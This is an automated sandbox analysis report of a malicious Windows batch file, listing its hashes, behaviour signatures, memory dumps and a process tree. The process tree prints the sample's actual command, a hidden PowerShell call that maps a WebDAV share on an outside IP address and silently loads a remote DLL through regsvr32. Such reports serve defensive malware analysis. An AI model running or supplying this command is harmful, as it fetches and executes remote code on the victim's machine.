Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    20-07-2024 02:34

General

  • Target

    191176442074510444.bat

  • Size

    18KB

  • MD5

    5a764eb6d4d537ff11250efb5770e62b

  • SHA1

    559455e898f916b34c1fc75f302835b8c924b756

  • SHA256

    e4d5f98ff983b4917127034877fdda4a1187726ece2f309f50322d7c4f846af8

  • SHA512

    490efc03ba65e2fdcce22431aaf4fdc58b2210a4f0e732d89ecf20f9c64d0b02d6ba2e10a9d2338fc02fd53afec0da3fe568aea1de5e6dedf8ea7cda12a29d6b

  • SSDEEP

    384:I3h/eQJXOWKDXh3VC3fytjgSKdpSeC+4ZwQEbBMoNwWK+5gMJ:l8Xnl6aSK3SeC+4KQABMUwd+j

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\191176442074510444.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2212
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2672
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\747832556940.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2552
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2600
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\747832556940.dll
          3⤵
            PID:2720

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2212-17-0x0000000002300000-0x0000000002400000-memory.dmp

        Filesize

        1024KB

      • memory/2212-16-0x0000000002300000-0x0000000002400000-memory.dmp

        Filesize

        1024KB

      • memory/2552-23-0x000000001B5A0000-0x000000001B882000-memory.dmp

        Filesize

        2.9MB

      • memory/2552-24-0x0000000001D20000-0x0000000001D28000-memory.dmp

        Filesize

        32KB